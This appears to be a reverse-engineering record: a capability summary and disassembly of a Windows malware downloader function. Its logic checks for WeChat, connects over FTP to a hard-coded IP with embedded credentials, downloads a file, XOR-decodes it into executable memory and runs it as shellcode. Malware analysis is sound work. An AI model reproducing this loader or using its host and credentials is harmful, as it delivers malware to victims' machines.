Function at 0x401270
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Check if file exists
Connect to http server
Create http request
Execute shellcode via indirect call
Query or enumerate registry value
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.D:data.dat
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, eax
mov word [ebp - 0x2a8], ax
mov dword [ebp - 0x2a6], eax
mov dword [ebp - 0x2a2], eax
mov dword [ebp - 0x29e], eax
mov word [ebp - 0x29a], ax
call esi
lea ecx, [ebp - 0x28c]
push ecx
mov edi, eax
call fcn.00401000
add esp, 4
test eax, eax
jne 0x4012ff
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, edi
cmp eax, 0x7530
ja 0x4016a1
push 0xbb8
call ebx
lea edx, [ebp - 0x28c]
push edx
call fcn.00401000
add esp, 4
test eax, eax
je 0x4012d6
mov ecx, 3
mov word [ebp - 0x2a6], cx
mov edx, 0x16
mov eax, 0x7e8
lea ecx, [ebp - 0x294]
mov word [ebp - 0x2a2], dx
mov word [ebp - 0x2a8], ax
push ecx
lea edx, [ebp - 0x2a8]
mov eax, 0x10
push edx
mov word [ebp - 0x2a0], ax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
je 0x4016a1
lea eax, [ebp - 0x294]
push eax
lea ecx, [ebp - 0x28c]
push ecx
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
cmp eax, 0xffffffff
jne 0x4016a1
lea edx, [ebp - 0x284]
push edx
push 0xf003f
xor esi, esi
push esi
push str.SOFTWARETencentWeChat
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4016a1
mov edx, dword [ebp - 0x284]
lea eax, [ebp - 0x290]
push eax
lea ecx, [ebp - 0x218]
push ecx
push esi
push esi
push str.InstallPath
push edx
mov dword [ebp - 0x290], 0x1fe
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4016a1
lea eax, [ebp - 0x218]
add eax, 0xfffffffe
lea esp, [esp]
mov cx, word [eax + 2]
add eax, 2
cmp cx, si
jne 0x4013d0
mov ecx, dword [str.WeChat.exe]
mov edx, dword [0x4021c4]
mov dword [eax], ecx
mov ecx, dword [0x4021c8]
mov dword [eax + 4], edx
mov edx, dword [0x4021cc]
mov dword [eax + 8], ecx
mov ecx, dword [0x4021d0]
mov dword [eax + 0xc], edx
mov edx, dword [0x4021d4]
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], edx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4016a1
mov ecx, dword [ebp - 0x284]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [str.sl_30001]
mov eax, dword [0x4021b0]
mov ecx, dword [0x4021b4]
mov dword [ebp - 0x18], edx
mov edx, dword [0x4021b8]
mov dword [ebp - 0x14], eax
movzx eax, word [0x4021bc]
mov dword [ebp - 0xc], edx
mov edx, dword [0x4021a4]
mov word [ebp - 8], ax
mov eax, dword [0x4021a8]
mov dword [ebp - 0x10], ecx
mov ecx, dword [str.38.47.239.5]
mov dword [ebp - 0x278], edx
movzx edx, byte [0x40219c]
mov dword [ebp - 0x274], eax
mov eax, dword [str.123cba]
push esi
mov dword [ebp - 0x27c], ecx
mov ecx, dword [str.safe]
mov byte [ebp - 0x258], dl
movzx edx, byte [0x402196]
mov dword [ebp - 0x24c], eax
mov eax, dword [str.win.dat_30001]
push esi
mov dword [ebp - 0x25c], ecx
mov cx, word [0x402194]
push esi
mov dword [ebp - 0x238], eax
movzx eax, word [0x40218c]
mov word [ebp - 0x248], cx
mov ecx, dword [0x402184]
mov byte [ebp - 0x246], dl
mov edx, dword [0x402188]
push esi
push str.WinInet_Ftp
mov dword [ebp - 0x280], esi
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x230], edx
mov word [ebp - 0x22c], ax
mov dword [ebp - 0x23c], 1
call dword [sym.imp.WININET.dll_InternetOpenW]
push esi
push 0x8000000
push 1
lea ecx, [ebp - 0x24c]
push ecx
lea edx, [ebp - 0x25c]
push edx
mov edi, eax
push esi
lea eax, [ebp - 0x27c]
push eax
push edi
mov dword [ebp - 0x284], edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
mov dword [ebp - 0x288], ebx
test ebx, ebx
jne 0x401558
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x4016a1
push 0
push closesocket
push closesocket
lea ecx, [ebp - 0x18]
push ecx
push ebx
call dword [sym.imp.WININET.dll_FtpOpenFileW]
mov edi, eax
test edi, edi
jne 0x40158c
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
mov edx, dword [ebp - 0x284]
push edx
call esi
jmp 0x4016a1
push 0
push edi
call dword [sym.imp.WININET.dll_FtpGetFileSize]
push eax
mov dword [ebp - 0x298], eax
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
push 0x1000
mov dword [ebp - 0x290], eax
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 8
mov ebx, eax
jmp 0x4015c0
lea eax, [ebp - 0x280]
push eax
push 0x1000
push ebx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401600
mov ecx, dword [ebp - 0x280]
mov edx, dword [ebp - 0x290]
push ecx
lea eax, [esi + edx]
push ebx
push eax
call sub.MSVCR90.dll_memcpy
add esi, dword [ebp - 0x280]
add esp, 0xc
cmp dword [ebp - 0x298], esi
ja 0x4015c0
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
mov ecx, dword [ebp - 0x288]
push ecx
call esi
mov edx, dword [ebp - 0x284]
push edx
call esi
mov ebx, dword [ebp - 0x298]
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0x288], esi
test esi, esi
je 0x4016a1
xor ecx, ecx
test ebx, ebx
jbe 0x401694
mov edi, dword [ebp - 0x290]
sub edi, esi
jmp 0x401650
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
lea edx, [edx + edx*2]
mov eax, ecx
sub eax, edx
jne 0x40166d
lea eax, [ecx + esi]
mov dl, byte [edi + eax]
xor dl, 0x57
jmp 0x40168d
cmp eax, 1
jne 0x40167d
lea eax, [ecx + esi]
mov dl, byte [edi + eax]
xor dl, 0x77
jmp 0x40168d
cmp eax, 2
jne 0x40168f
lea eax, [ecx + esi]
mov dl, byte [edi + eax]
xor dl, cl
xor dl, 0x36
mov byte [eax], dl
inc ecx
cmp ecx, ebx
jb 0x401650
lea eax, [ebp - 0x27c]
push eax
call dword [ebp - 0x288]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00401700
mov esp, ebp
pop ebp
ret 0x10